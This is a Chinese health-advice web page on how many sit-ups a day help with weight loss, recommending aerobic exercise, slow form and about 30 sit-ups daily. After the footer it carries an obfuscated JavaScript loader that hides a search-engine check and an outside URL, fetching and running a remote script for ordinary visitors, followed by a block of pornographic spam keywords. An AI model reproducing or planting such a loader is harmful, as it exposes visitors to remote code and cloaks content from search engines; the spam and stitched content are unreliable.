當前位置:首頁 > 減肥 > 運動減肥 > 正文

減肥仰臥起坐一天做幾個合適呢?

2017-04-21 15:02:03  來源:360常識網   熱度:
導語:現在大多數的朋友在工作的時候,會長時間地坐在辦公室里面,由于缺少運動會使得腹部的贅肉越來越多,因此,很多朋友會選擇通過做仰臥起坐的

現在大多數的朋友在工作的時候,會長時間地坐在辦公室里面,由于缺少運動會使得腹部的贅肉越來越多,因此,很多朋友會選擇通過做仰臥起坐的方式來進行減肥。正確的長時間的做仰臥起坐對于腹部的贅肉是有一定的減肥效果的。下面小編就來介紹,減肥做仰臥起坐每天應該怎么做。

皮下脂肪并不是靠局部鍛煉能夠去掉的,開始鍛煉腹部可能會讓松散的肌肉收緊顯得腹部變小,但如果要減掉皮下脂肪還需要配合有氧運動,比如跑步、快走等。

很多人都希望通過仰臥起坐來減肚子,但事實上,仰臥起坐減肚子的效果不如跑步、快走、跳繩等有氧運動來得快。減肥的原理就是消耗熱量,需要持續 的中高強度運動。因為仰臥起坐屬于肌肉訓練,不算是有氧運動的范疇,一般人做仰臥起坐,最多也就幾十到百來個,時間不超過10分鐘,運動時間過短,消耗的 熱量少,達不到持續燃脂的條件。此外,仰臥起坐練習過度還會引起脊椎疲勞和壓力。

但是仰臥起坐也不是一無是處。它能有效鍛煉腹部肌肉,讓你的腹部更緊實,不容易松弛下垂。如果你正在減肥,可以考慮把每日1個小時的單純跑步(或者其他有氧運動),改成跑步40分鐘+各個部位肌肉訓練20分鐘+拉伸放松的組合。減肥效果會更完美。

一般人練習仰臥起坐的方式有誤,以為越快越好。其實不然,肌肉訓練要緩速,如果過快做仰臥起坐,靠得不是腹肌的力量,而只是慣性。最好的節奏就是1-2-3起來、4放下去,大約4秒鐘一個回合。這樣才能讓腹部肌肉得到充分的鍛煉,每天練習30個左右即可。

因此,在做仰臥起坐的時候一定要保持正確的姿勢,如果長時間的姿勢不正確,不僅難以達到減肥的效果,還可能會使得腰椎頸椎等部位的肌肉受損,而出現有疼痛感。并且要想通過做仰臥起坐等運動的方式來減肥,一定要長時間的堅持才會有效果。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产综合色在线精品| 亚洲欧洲精品在线| 国内精品99亚洲免费高清| 中文字幕精品一区二区三区视频| 精品国产自在在线在线观看| 91精品国产综合久久久久| 98视频精品全部国产| 国产在线视精品麻豆| 久久精品亚洲福利| 久久青青草原精品国产| 国产精品久久久久蜜芽| 国产91精品新入口| 亚洲中文久久精品无码ww16| 久久精品青青草原伊人| 国产免费无遮挡精品视频| 91人前露出精品国产| 在线成人精品国产区免费| 国产精品久久亚洲一区二区| 久久777国产线看观看精品| 国产精品熟女视频一区二区| 中文精品99久久国产| 国产精品成人网站| 国产成人午夜精品免费视频| 亚洲AV乱码久久精品蜜桃| 久久精品青草社区| 久久精品综合一区二区三区| 国产精品模特hd在线| 精品动漫一区二区无遮挡| 国精品产露脸自拍| 日韩在线精品一二三区| 午夜精品福利视频| 中文字幕精品亚洲无线码二区| 麻豆va在线精品免费播放| 人人妻人人澡人人爽人人精品97 | 久久久无码精品亚洲日韩京东传媒 | 精品人妻伦一二三区久久| 91国语精品自产拍在线观看一| 久久久91精品国产一区二区三区| 免费看国产精品3a黄的视频| 亚洲国产精品午夜电影| 日韩精品无码一区二区中文字幕 |